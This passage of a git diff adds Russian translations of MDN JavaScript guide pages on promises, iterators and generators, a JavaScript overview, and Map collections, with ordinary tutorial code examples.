+<p>В основном, цепочка промисов останавливает выполнение кода, если где-либо произошла ошибка, и вместо этого ищет далее по цепочке обработчики ошибок. Это очень похоже на то, как работает синхронный код:</p>
+
+<pre><code>try {
+  let result = syncDoSomething();
+  let newResult = syncDoSomethingElse(result);
+  let finalResult = syncDoThirdThing(newResult);
+  console.log(`</code>Итоговый результат<code>: ${finalResult}`);
+} catch(error) {
+  failureCallback(error);
+}</code>
+</pre>
+
+<p>Эта симметрия с синхронным кодом лучше всего показывает себя в синтаксическом сахаре <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>async</code>/<code>await</code></a> в ECMAScript 2017:</p>
+
+<pre><code>async function foo() {
+  try {
+    let result = await doSomething();
+    let newResult = await doSomethingElse(result);
+    let finalResult = await doThirdThing(newResult);
+    console.log(`</code>Итоговый результат<code>: ${finalResult}`);
+  } catch(error) {
+    failureCallback(error);
+  }
+}</code>
+</pre>
+
+<p>Работа данного кода основана на промисах. Для примера здесь используется функция <code>doSomething()</code>, которая встречалась ранее. Вы можете прочитать больше о синтаксисе <a href="https://developers.google.com/web/fundamentals/getting-started/primers/async-functions">здесь</a></p>
+
+<p>Примисы решают основную проблему  пирамид, обработку всех ошибок, даже вызовов исключений и программных ошибок. Это основа для функционального построения асинхронных операций.</p>
+
+<h2 id="Создание_промиса_вокруг_старого_коллбэка">Создание промиса вокруг старого коллбэка</h2>
+
+<p>{{jsxref("Promise")}} может быть создан с помощью конструктора. Это может понадобится только для старых API.</p>
+
+<p>В идеале, все асинхронные функции уже должны возвращать промис. Но увы, некоторые APIs до сих пор ожидают успешного или неудачного  коллбека переданных по старинке. Типичный пример: {{domxref("WindowTimers.setTimeout", "setTimeout()")}} функция:</p>
+
+<pre><code>setTimeout(() =&gt; saySomething("10 seconds passed"), 10000);</code></pre>
+
+<p>Смешивание старого коллбэк-стиля и промисов проблематично. В случае неудачного завершения <code>saySomething</code> или программной ошибки, нельзя обработать ошибку.</p>
+
+<p>К с частью мы можем обернуть функцию в промис. Хороший тон оборачивать проблематичные функции на самом низком возможном уровне, и больше никогда их не вызывать на прямую:</p>
+
+<pre><code>const wait = ms =&gt; new Promise(resolve =&gt; setTimeout(resolve, ms));
+
+wait(10000).then(() =&gt; saySomething("10 seconds")).catch(failureCallback);</code></pre>
+
+<p>В сущности, конструктор промиса становится исполнителем функции, который позволяет нам резолвить или режектить промис вручную. Так как <code>setTimeout</code> всегда успешен, мы опустили reject в этом случае.</p>
+
+<h2 id="Композиция">Композиция</h2>
+
+<p>{{jsxref("Promise.resolve()")}} и {{jsxref("Promise.reject()")}} короткий способ создать уже успешные или отклоненные промисы соответственно. Это иногда бывает полезно.</p>
+
+<p>{{jsxref("Promise.all()")}} и {{jsxref("Promise.race()")}} - два метода запустить асинхронные операции параллельно.</p>
+
+<p>Последовательное выполнение композиции возможно при помощи хитрости JavaScript:</p>
+
+<pre><code>[func1, func2].reduce((p, f) =&gt; p.then(f), Promise.resolve());</code></pre>
+
+<p>Фактически, мы превращаем массив асинхронных функций в цепочку промисов равносильно: <code>Promise.resolve().then(func1).then(func2);</code></p>
+
+<p>Это также можно сделать, объеденив композицию в функцию, в функциональном стиле программирования:</p>
+
+<pre><code>const applyAsync = (acc,val) =&gt; acc.then(val);
+const composeAsync = (...funcs) =&gt; x =&gt; funcs.reduce(applyAsync, Promise.resolve(x));</code></pre>
+
+<p><code>composeAsync</code> функция примет любое количество функций в качестве аргументов и вернет новую функцию которая примет в параметрах начальное значение, переданное по цепочке. Это удобно, потому что некоторые или все функции могут быть либо асинхронными либо синхронными, и они гарантированно выполнятся в правильной последовательности:</p>
+
+<pre><code>const transformData = composeAsync(func1, asyncFunc1, asyncFunc2, func2);
+transformData(data);</code></pre>
+
+<p>В ECMAScript 2017, последовательные композиции могут быть выполненны более простым способом с помощью async/await:</p>
+
+<pre><code>for (const f of [func1, func2]) {
+  await f();
+}</code></pre>
+
+<h2 id="Порядок_выполнения">Порядок выполнения</h2>
+
+<p>Чтобы избежать сюрпризов, функции, переданные в <code>then</code> никогда не будут вызванны синхронно, даже с уже разрешенным промисом:</p>
+
+<pre><code>Promise.resolve().then(() =&gt; console.log(2));
+console.log(1); // 1, 2</code></pre>
+
+<p>Вместо немедленного выполнения, переданная функция встанет в очередь микрозадач, а значит выполнится, когда очередь будет пустой  в конце текущего вызова JavaScript цикла событий (event loop), т.е. очень скоро:</p>
+
+<pre><code>const wait = ms =&gt; new Promise(resolve =&gt; setTimeout(resolve, ms));
+
+wait().then(() =&gt; console.log(4));
+Promise.resolve().then(() =&gt; console.log(2)).then(() =&gt; console.log(3));
+console.log(1); // 1, 2, 3, 4</code></pre>
+
+<h2 id="Вложенность">Вложенность</h2>
+
+<p>Простые цепочки promise лучше оставлять без вложений, так как вложеность может быть результатом небрежной структуры. Смотрите <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov$edit#Common_mistakes">распространенные ошибки</a>.</p>
+
+<p>Вложенность - это управляющая структура, ограничивающая область действия операторов catch. В частности, вложенный catch только перехватывает сбои в своей области и ниже, а не ошибки выше в цепочке за пределами вложенной области. При правильном использовании это дает большую точность в извлечение ошибок:</p>
+
+<pre><code>doSomethingCritical()
+.then(result =&gt; doSomethingOptional()
+  .then(optionalResult =&gt; doSomethingExtraNice(optionalResult))
+  .catch(e =&gt; {})) // Игнорируется если необязательные параметр не выкинул исключение
+.then(() =&gt; moreCriticalStuff())
+.catch(e =&gt; console.log("Критическая ошибка: " + e.message));</code></pre>
+
+<p>Обратите внимание, что необязательный шаги здесь выделены отступом.</p>
+
+<p>Внутренний оператор catch нейтрализует и перехватывает ошибки только от doSomethingOptional() и doSomethingExtraNice(), после чего код возобновляется с помощью moreCriticalStuff(). Важно, что в случае сбоя doSomethingCritical() его ошибка перехватывается только последним (внешним) catch.</p>
+
+<h2 id="Частые_ошибки">Частые ошибки</h2>
+
+<p>В этом разделе собраны частые ошибки, возникающие при создании цепочек обещаний. Несколько таких ошибок можно увидеть в следующем примере:</p>
+
+<pre><code>// Плохой пример! Три ошибки!
+
+doSomething().then(function(result) {
+  doSomethingElse(result) // Забыл вернуть обещание из внутренней цепочки + неуместное влаживание
+  .then(newResult =&gt; doThirdThing(newResult));
+}).then(() =&gt; doFourthThing());
+// Забыл закончить цепочку методом catch</code></pre>
+
+<p>Первая ошибка это неправильно сцепить вещи между собой. Такое происходит когда мы создаем промис но забываем вернуть его. Как следствие, цепочка сломана, но правильнее было бы сказать что теперь у нас есть две независимые цепочки, соревнующиеся за право разрешится первой. Это означает <code>doFourthThing()</code> не будет ждать <code>doSomethingElse()</code> или <code>doThirdThing()</code> пока тот закончится, и будет исполнятся параллельно с ними, это ,вероятно, не то что хотел разработчик. Отдельные цепочки также имеют отдельную обработку ошибок, что приводит к необработанным ошибкам.</p>
+
+<p>Вторая ошибка это излишняя вложенность, включая первую ошибку. Вложенность также ограничивает область видимости внутренних обработчиков ошибок, если это не то чего хотел разработчик, это может привести к необработанным ошибкам. Примером этого является <a href="https://stackoverflow.com/questions/23803743/what-is-the-explicit-promise-construction-antipattern-and-how-do-i-avoid-it">пример как не нужно создавать обещания</a>, который комбинирует вложенность с чрезмерным использованием конструктора обещаний для оборачивания кода который уже использует промисы.</p>
+
+<p>Третяя ошибка это забыть закончить цепочку ключевым словом <code>catch</code>. Незаконченные цепочки приводят к необработанным отторжениям обещаний в большинстве браузеров.</p>
+
+<p>Хорошим примером является всегда либо возвращать либо заканчивать цепочки обещаний, и как только вы получаете новое обещание, возвращайте его сразу же, чтобы не усложнять код излишней вложенностью:</p>
+
+<pre><code>doSomething()
+.then(function(result) {
+  return doSomethingElse(result);
+})
+.then(newResult =&gt; doThirdThing(newResult))
+.then(() =&gt; doFourthThing())
+.catch(error =&gt; console.log(error));</code></pre>
+
+<p>Обратите внимание что <code>() =&gt; x</code>  это сокращенная форма <code>() =&gt; { return x; }</code>.</p>
+
+<p>Теперь у нас имеется единственная определенная цепочка с правильной обработкой ошибок.</p>
+
+<p>Использование <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>async</code>/<code>await</code></a> предотвращает большинство, если не все вышеуказанные ошибки—но взамен появляется другая частая ошибка—забыть ключевое слово <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>await</code></a>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Promise.then()")}}</li>
+ <li><a href="http://promisesaplus.com/">Спецификация Promises/A+ (EN)</a></li>
+ <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Нолан Лоусон (Nolan Lawson): У нас проблемы с промисами - распространенные ошибки (EN)</a></li>
+</ul>
diff --git a/files/ru/web/javascript/guide/iterators_and_generators/index.html b/files/ru/web/javascript/guide/iterators_and_generators/index.html
new file mode 100644
index 0000000000..a04e4b6384
--- /dev/null
+++ b/files/ru/web/javascript/guide/iterators_and_generators/index.html
@@ -0,0 +1,159 @@
+---
+title: Итераторы и  генераторы
+slug: Web/JavaScript/Guide/Iterators_and_Generators
+tags:
+  - yield
+  - Генераторы
+  - Итераторы
+translation_of: Web/JavaScript/Guide/Iterators_and_Generators
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Meta_programming")}}</div>
+
+<p class="summary">Обработка каждого элемента коллекции является весьма распространенной операцией. JavaScript предоставляет несколько способов перебора коллекции, от простого цикла <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for" title="en/Core_JavaScript_1.5_Reference/Statements/for">for</a></code> до <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/map">map()</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/filter">filter()</a></code> и <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions" title="en/JavaScript/Guide/Predefined Core Objects#Array comprehensions">array comprehensions</a>. Итераторы и генераторы внедряют концепцию перебора непосредственно в ядро языка и обеспечивают механизм настройки поведения <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of" title="en/Core_JavaScript_1.5_Reference/Statements/for...in">for...of</a></code> циклов.</p>
+
+<p>Подробнее см. также:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Iteration protocols</a></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">function*</a></code> и {{jsxref("Generator")}}</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> и <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield*">yield*</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Generator_comprehensions">Generator comprehensions</a> {{experimental_inline}}</li>
+</ul>
+
+<h2 id="Итераторы">Итераторы</h2>
+
+<p>Объект является итератором, если он умеет обращаться к элементам коллекции по одному за раз, при этом отслеживая свое текущее положение внутри этой последовательности. В JavaScript итератор - это объект, который предоставляет метод next(), возвращающий следующий элемент последовательности. Этот метод возвращает объект с двумя свойствами: done и value.</p>
+
+<p>После создания, объект-итератор может быть явно использован, с помощью вызовов метода next().</p>
+
+<pre class="brush: js">function makeIterator(array){
+    var nextIndex = 0;
+
+    return {
+       next: function(){
+           return nextIndex &lt; array.length ?
+               {value: array[nextIndex++], done: false} :
+               {done: true};
+       }
+    }
+}</pre>
+
+<p>После инициализации, метод next() может быть вызван для поочередного доступа к парам ключ-значение в объекте:</p>
+
+<pre class="brush: js">var it = makeIterator(['yo', 'ya']);
+console.log(it.next().value); // 'yo'
+console.log(it.next().value); // 'ya'
+console.log(it.next().done);  // true</pre>
+
+<h2 id="Генераторы">Генераторы</h2>
+
+<p>В то время как пользовательские итераторы могут быть весьма полезны, при их программировании требуется уделять серьезное внимание поддержке внутреннего состояния. <strong>{{jsxref("Global_Objects/Generator","Генераторы","","true")}}</strong> предоставляют мощную альтернативу: они позволяют определить алгоритм перебора, написав единственную функцию, которая умеет поддерживать собственное состояние.</p>
+
+<p>Генераторы - это специальный тип функции, который работает как фабрика итераторов. Функция становится генератором, если содержит один или более {{jsxref("Operators/yield","yield")}} операторов и использует {{jsxref("Statements/function*","function*")}} синтаксис.</p>
+
+<pre class="brush: js">function* idMaker(){
+  var index = 0;
+  while(true)
+    yield index++;
+}
+
+var it = idMaker();
+
+console.log(it.next().value); // 0
+console.log(it.next().value); // 1
+console.log(it.next().value); // 2
+// ...</pre>
+
+<h2 id="Итерируемые_объекты">Итерируемые объекты</h2>
+
+<p>Объект является итерируемым, если в нем определен способ перебора значений, то есть, например, как значения перебираются в конструкции {{jsxref("Statements/for...of", "for..of")}}. Некоторые встроенные типы, такие как {{jsxref("Array")}} или {{jsxref("Map")}}, по умолчанию являются итерируемыми, в то время как другие типы, как, например, {{jsxref("Object")}}, таковыми не являются.</p>
+
+<p>Чтобы быть итерируемым, объект обязан реализовать метод <strong>@@iterator</strong>, что означает, что он (или один из объектов выше по <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">цепочке прототипов</a>) обязан иметь свойство с именем {{jsxref("Symbol.iterator")}}:</p>
+
+<h3 id="Пользовательские_итерируемые_объекты">Пользовательские итерируемые объекты</h3>
+
+<p>Мы можем создать свои собственные итерируемые объекты так:</p>
+
+<pre class="brush: js">var myIterable = {}
+myIterable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+[...myIterable] // [1, 2, 3]
+</pre>
+
+<h3 id="Встроенные_итерируемые_объекты">Встроенные итерируемые объекты</h3>
+
+<p>Объекты {{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} и {{jsxref("Set")}} являются итерируемыми, потому что их прототипы содержат метод {{jsxref("Symbol.iterator")}}.</p>
+
+<h3 id="Синтаксис_для_итерируемых_объектов">Синтаксис для итерируемых объектов</h3>
+
+<p>Некоторые выражения работают с итерируемыми объектами, например, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for-of</a></code> циклы, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield*">yield*</a></code>, и <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destructuring assignment</a>.</p>
+
+<pre class="brush: js">for(let value of ["a", "b", "c"]){
+    console.log(value)
+}
+// "a"
+// "b"
+// "c"
+
+[..."abc"] // ["a", "b", "c"]
+
+function* gen(){
+  yield* ["a", "b", "c"]
+}
+
+gen().next() // { value:"a", done:false }
+
+[a, b, c] = new Set(["a", "b", "c"])
+a // "a"
+
+</pre>
+
+<h2 id="Продвинутые_генераторы">Продвинутые генераторы</h2>
+
+<p>Генераторы вычисляют результаты своих yield выражений по требованию, что позволяет им эффективно работать с последовательностями с высокой вычислительной сложностью, или даже с бесконечными последовательностями, как продемонстрировано выше.</p>
+
+<p><code>Метод</code> {{jsxref("Global_Objects/Generator/next","next()")}} также принимает значение, которое может использоваться для изменения внутреннего состояния генератора. Значение, переданное в next(), будет рассматриваться как результат последнего yield выражения, которое приостановило генератор.</p>
+
+<p>Вот генератор чисел Фибоначи, использующий <code>next(x)</code> для перезапуска последовательности:</p>
+
+<pre class="brush: js">function* fibonacci(){
+  var fn1 = 1;
+  var fn2 = 1;
+  while (true){
+    var current = fn2;
+    fn2 = fn1;
+    fn1 = fn1 + current;
+    var reset = yield current;
+    if (reset){
+        fn1 = 1;
+        fn2 = 1;
+    }
+  }
+}
+
+var sequence = fibonacci();
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 2
+console.log(sequence.next().value);     // 3
+console.log(sequence.next().value);     // 5
+console.log(sequence.next().value);     // 8
+console.log(sequence.next().value);     // 13
+console.log(sequence.next(true).value); // 1
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 2
+console.log(sequence.next().value);     // 3</pre>
+
+<div class="note"><strong>Примечание:</strong> Интересно, что вызов <code>next(undefined)</code> равносилен вызову <code>next()</code>. При этом вызов next() для нового генератора с любым аргументом, кроме undefined, спровоцирует исключение <code>TypeError</code>.</div>
+
+<p>Можно заставить генератор выбросить исключение, вызвав его метод {{jsxref("Global_Objects/Generator/throw","throw()")}} и передав в качестве параметра значение исключения, которое должно быть выброшено. Это исключение будет выброшено из текущего приостановленного контекста генератора так, будто текущий приостановленный <code>yield</code> оператор являлся <code>throw</code> оператором.</p>
+
+<p>Если <code>yield</code> оператор не встречается во время обработки выброшенного исключения, то исключение передается выше через вызов <code>throw()</code>, и результатом последующих вызовов <code>next()</code> будет свойство <code>done</code> равное <code>true</code>.</p>
+
+<p>У генераторов есть метод  {{jsxref("Global_Objects/Generator/return","return(value)")}}, который возвращает заданное значение и останавливает работу генератора.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Meta_programming")}}</p>
diff --git a/files/ru/web/javascript/guide/javascript_overview/index.html b/files/ru/web/javascript/guide/javascript_overview/index.html
new file mode 100644
index 0000000000..ab3e38c0f6
--- /dev/null
+++ b/files/ru/web/javascript/guide/javascript_overview/index.html
@@ -0,0 +1,141 @@
+---
+title: Обзор JavaScript
+slug: Web/JavaScript/Guide/JavaScript_Overview
+translation_of: Web/JavaScript/Guide/Introduction
+---
+<p>Эта глава является введением в JavaScript и описывает некоторые из базовых понятий.</p>
+
+<h3 id="What_is_JavaScript.3F" name="What_is_JavaScript.3F">Что такое JavaScript?</h3>
+
+<p>JavaScript это кросс-платформенный, объектно-ориентированный, скриптовый язык. JavaScript - это маленький и легковесный язык; он спроектирован не для создания законченных, полноценных приложений,  а для легкого встраивания в другие продукты и приложения, например, в веб браузеры. Внутри основного приложения, JavaScript может соединяться с объектами этого приложения и осуществлять программный контроль над ними.</p>
+
+<p>Ядро JavaScript содержит набор базовых объектов, например Array, Date и Math, и набор элементов языка: операторов, управляющих структур, и выражений. Ядро JavaScript может быть расширено для различных целей с помощью дополнений, например:</p>
+
+<ul>
+ <li><em>Client-side JavaScript</em> расширяет ядро ​​языка предоставляя объекты управления браузером (Navigator или другой веб-браузер) и его Document Object Model (DOM). Например, клиентские расширения позволяют приложению размещать элементы в HTML-форме и реагировать на пользовательские события, такие как щелчок мыши, ввод данных в форму и навигация по страницам.</li>
+ <li><em>Server-side JavaScript</em> расширяет ядро языка предоставляя объекты для запуска JavaScript на сервере. Например, server-side расширения позволяют приложению соединяться с реляционной базой данных, обеспечивать непрерывность информации между вызовами приложения, или выполнять операции над файлами на сервере.</li>
+</ul>
+
+<p>Используя функции JavaScript LiveConnect, Вы можете позволить коду на Java и JavaScript общаться между собой. Вы можете создать экземпляр объекта Java из JavaScript и получить доступ к его публичным методам и свойствам. Из Java, Вы можете получить доступ к объектам, свойствам и методам JavaScript.</p>
+
+<p>Впервые JavaScript был использован в браузерах Netscape.</p>
+
+<h3 id="JavaScript_and_Java" name="JavaScript_and_Java">JavaScript и Java</h3>
+
+<p>JavaScript и Java схожи в некоторых отношениях, но принципиально отличаются в других. Язык JavaScript напоминает Java, но не имеет статической типизации и строгой проверки типов. В основном, JavaScript следует большей части синтакса Java в выражениях, именованиях и основного потока управления конструкциями, что стало причиной, почему он был переименован из LiveScript в JavaScript.</p>
+
+<p>В отличии от системы компилированных классов в Java, построенной на объявлениях, JavaScript поддерживает систему исполнения, основанную на небольшом количестве типов данных, представляющих числовые, логические и строковые значения. JavaScript обладает моделью объектов на базе прототипов вместо более общей модели объектов на базе классов. Модель объектов на базе прототипов делает возможным динамическое наследование; то есть, то, что унаследовано, может различаться для отдельных объектов. JavaScript также поддерживает функции без каких-либо специальных декларативных требований. Функции могут быть свойствами объектов, выполняться как слабо типизированные методы.</p>
+
+<p>По сравнению с Java, JavaScript - это язык с очень свободной формой языка. Вам не надо объявлять переменные, классы или методы. Вы не должны беспокоиться, является ли метод public, private или protected, Вам не надо реализовывать интерфейсы. Переменные, параметры и возвращаемые функциями типы не являются явно типизированными.</p>
+
+<p>Java - язык программирования на основе классов, предназначенный для быстрого выполнения и безопасности типов. Безопасность типов означает, например, что Вы не можете взять тип Java integer и привести его к типу object reference или получить доступ к закрытой памяти изменяя байт-код Java. Ориентированная на классы модель Java означает, что программы состоят исключительно из классов и их методов. Наследование классов и строгая типизация в Java обычно тербуют тесно связанную иерархию объектов. Эти требования делают программирование на Java более сложным чем на JavaScript.</p>
+
+<p>По духу JavaScript происходит от нескольких небольших, динамически типизированных языков программирования, таких как HyperTalk и dBASE. Эти скриптовые языки предлагают инструменты программирования для гораздо более широкой аудитории благодаря более простому синтаксису, специальной встроенной функциональности и минимальным требованиям для создания объектов.</p>
+
+<table class="standard-table">
+ <caption>Таблица 1.1 Сравнение JavaScript и Java</caption>
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Объектно-ориентированный. Нет различий между типами объектов. Наследование реализовано через механизм прототипов, свойства и методы могут быть динамически добавлены к любому объекту.</td>
+   <td>На базе классов. Объекты делятся на классы и экземпляры с наследованием через иерархию классов. Классы и экземпляры не могут иметь динамически добавленные свойства и методы.</td>
+  </tr>
+  <tr>
+   <td>Типы данных переменных не объявлены (динамическая типизация).</td>
+   <td>Типы данных переменных должны быть объявлены (статическая типизация).</td>
+  </tr>
+  <tr>
+   <td>Не может автоматически записывать на жесткий диск.</td>
+   <td>Может автоматически записывать на жесткий диск.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Для получения дополнительной информации о различиях между JavaScript и Java, см. раздел <a href="/en/JavaScript/Guide/Details_of_the_Object_Model" title="en/JavaScript/Guide/Details of the Object Model">Details of the Object Model</a>.</p>
+
+<h3 id="JavaScript_and_the_ECMAScript_Specification" name="JavaScript_and_the_ECMAScript_Specification">JavaScript and the ECMAScript Specification</h3>
+
+<p>Netscape invented JavaScript, and JavaScript was first used in Netscape browsers. However, Netscape is working with <a class="external" href="http://www.ecma-international.org/">Ecma International</a> — the European association for standardizing information and communication systems (ECMA was formerly an acronym for the European Computer Manufacturers Association) to deliver a standardized, international programming language based on core JavaScript. This standardized version of JavaScript, called ECMAScript, behaves the same way in all applications that support the standard. Companies can use the open standard language to develop their implementation of JavaScript. The ECMAScript standard is documented in the ECMA-262 specification.</p>
+
+<p>The ECMA-262 standard is also approved by the <a class="external" href="http://www.iso.ch/">ISO</a> (International Organization for Standardization) as ISO-16262. You can find a <a class="external" href="http://www-archive.mozilla.org/js/language/E262-3.pdf" title="http://www-archive.mozilla.org/js/language/E262-3.pdf">PDF version of ECMA-262</a> (outdated version) at the Mozilla website. You can also find the specification on <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">the Ecma International website</a>. The ECMAScript specification does not describe the Document Object Model (DOM), which is standardized by the <a class="external" href="http://www.w3.org/">World Wide Web Consortium (W3C)</a>. The DOM defines the way in which HTML document objects are exposed to your script.</p>
+
+<h4 id="Relationship_between_JavaScript_Versions_and_ECMAScript_Editions" name="Relationship_between_JavaScript_Versions_and_ECMAScript_Editions">Relationship between JavaScript Versions and ECMAScript Editions</h4>
+
+<p>Netscape worked closely with Ecma International to produce the ECMAScript Specification (ECMA-262). The following table describes the relationship between JavaScript versions and ECMAScript editions.</p>
+
+<table class="standard-table">
+ <caption>Table 1.2 JavaScript versions and ECMAScript editions</caption>
+ <thead>
+  <tr>
+   <th scope="row">JavaScript version</th>
+   <th scope="col">Relationship to ECMAScript edition</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>JavaScript 1.1</td>
+   <td>ECMA-262, Edition 1 is based on JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.2</td>
+   <td>ECMA-262 was not complete when JavaScript 1.2 was released. JavaScript 1.2 is not fully compatible with ECMA-262, Edition 1, for the following reasons:
+    <ul>
+     <li>Netscape developed additional features in JavaScript 1.2 that were not considered for ECMA-262.</li>
+     <li>ECMA-262 adds two new features: internationalization using Unicode, and uniform behavior across all platforms. Several features of JavaScript 1.2, such as the <code>Date</code> object, were platform-dependent and used platform-specific behavior.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>JavaScript 1.3</p>
+   </td>
+   <td>
+    <p>JavaScript 1.3 is fully compatible with ECMA-262, Edition 1.</p>
+
+    <p>JavaScript 1.3 resolved the inconsistencies that JavaScript 1.2 had with ECMA-262, while keeping all the additional features of JavaScript 1.2 except == and !=, which were changed to conform with ECMA-262.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>JavaScript 1.4</p>
+   </td>
+   <td>
+    <p>JavaScript 1.4 is fully compatible with ECMA-262, Edition 1.</p>
+
+    <p>The third version of the ECMAScript specification was not finalized when JavaScript 1.4 was released.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.5</td>
+   <td>JavaScript 1.5 is fully compatible with ECMA-262, Edition 3.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note"><strong>Note</strong>: ECMA-262, Edition 2 consisted of minor editorial changes and bug fixes to the Edition 1 specification. The  current release by the TC39 working group of Ecma International is ECMAScript Edition 5.1</div>
+
+<p>The <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">JavaScript Reference</a> indicates which features of the language are ECMAScript-compliant.</p>
+
+<p>JavaScript will always include features that are not part of the ECMAScript Specification; JavaScript is compatible with ECMAScript, while providing additional features.</p>
+
+<h4 id="JavaScript_Documentation_versus_the_ECMAScript_Specification" name="JavaScript_Documentation_versus_the_ECMAScript_Specification">JavaScript Documentation versus the ECMAScript Specification</h4>
+
+<p>The ECMAScript specification is a set of requirements for implementing ECMAScript; it is useful if you want to determine whether a JavaScript feature is supported in other ECMAScript implementations. If you plan to write JavaScript code that uses only features supported by ECMAScript, then you may need to review the ECMAScript specification.</p>
+
+<p>The ECMAScript document is not intended to help script programmers; use the JavaScript documentation for information on writing scripts.</p>
+
+<h4 id="JavaScript_and_ECMAScript_Terminology">JavaScript and ECMAScript Terminology</h4>
+
+<p>The ECMAScript specification uses terminology and syntax that may be unfamiliar to a JavaScript programmer. Although the description of the language may differ in ECMAScript, the language itself remains the same. JavaScript supports all functionality outlined in the ECMAScript specification.</p>
+
+<p>The JavaScript documentation describes aspects of the language that are appropriate for a JavaScript programmer. For example:</p>
+
+<ul>
+ <li>The Global Object is not discussed in the JavaScript documentation because you do not use it directly. The methods and properties of the Global Object, which you do use, are discussed in the JavaScript documentation but are called top-level functions and properties.</li>
+ <li>The no parameter (zero-argument) constructor with the <code>Number</code> and <code>String</code> objects is not discussed in the JavaScript documentation, because what is generated is of little use. A <code>Number</code> constructor without an argument returns +0, and a <code>String</code> constructor without an argument returns "" (an empty string).</li>
+</ul>
diff --git a/files/ru/web/javascript/guide/keyed_collections/index.html b/files/ru/web/javascript/guide/keyed_collections/index.html
new file mode 100644
index 0000000000..2b2d128801
--- /dev/null
+++ b/files/ru/web/javascript/guide/keyed_collections/index.html
@@ -0,0 +1,172 @@
+---
+title: Коллекции
+slug: Web/JavaScript/Guide/Keyed_collections
+tags:
+  - коллекции
+  - словари
+  - структура данных
+translation_of: Web/JavaScript/Guide/Keyed_collections
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Indexed_Collections", "Web/JavaScript/Guide/Working_with_Objects")}}</div>
+
+<p class="summary">Этот раздел содержит обзор коллекций {{jsxref("Set")}} и словарей {{jsxref("Map")}} - встроенных {{Glossary("Data_structure","структур данных")}} с доступом по ключу.</p>
+
+<h2 id="Словари">Словари</h2>
+
+<h3 id="Тип_Map"><code>Тип Map</code> </h3>
+
+<p>{{jsxref("Map")}} - реализация простого ассоциативного массива (словаря). Он содержит данные в виде набора пар ключ/значение(ключи уникальны) и предоставляет методы для доступа и манипулирования этими данными.  </p>
+
+<p>Также как и {{jsxref("Object", "объект", "", 1)}}, словарь позволяет</p>
+
+<ul>
+ <li>получать значение  по ключу, а также проверять наличие ключа</li>
+ <li>добавлять/удалять пары ключ/значение</li>
+ <li>перезаписывать значение по ключу (ключи уникальны).</li>
+ <li>итерироваться по ключам</li>
+</ul>
+
+<p>Словари, как специализированная структура данных, имеют существенные преимущества по сравнению с объектами<font face="Consolas, Liberation Mono, Courier, monospace">:</font></p>
+
+<ul>
+ <li>Ключи словаря могут быть любого типа (а не только строки).</li>
+ <li>Словарь хранит свой размер (не надо вычислять).</li>
+ <li>Натуральный порядок обхода элементов ( в порядке добавления) с помощью {{jsxref("Statements/for...of","for...of")}}.</li>
+ <li>Словарь не подмешивает ключи из прототипа (в отличие от объекта).</li>
+</ul>
+
+<p>В следующем примере приведены основные операции со словарём:</p>
+
+<pre class="brush: js">var sayings = new Map();
+sayings.set("dog", "woof");
+sayings.set("cat", "meow").set("elephant", "toot");
+//вызов функции .set возвращает Map, поэтому set можно объединять в цепочки
+
+sayings.set("dog", "гав-гав"); // заменить значение по ключу
+
+sayings.size; // 3
+sayings.get("fox"); // undefined
+sayings.has("bird"); // false
+sayings.delete("dog");
+
+for (var [key, value] of sayings) {
+  console.log(key + " goes " + value);
+}
+// "cat goes meow"
+// "elephant goes toot"
+</pre>
+
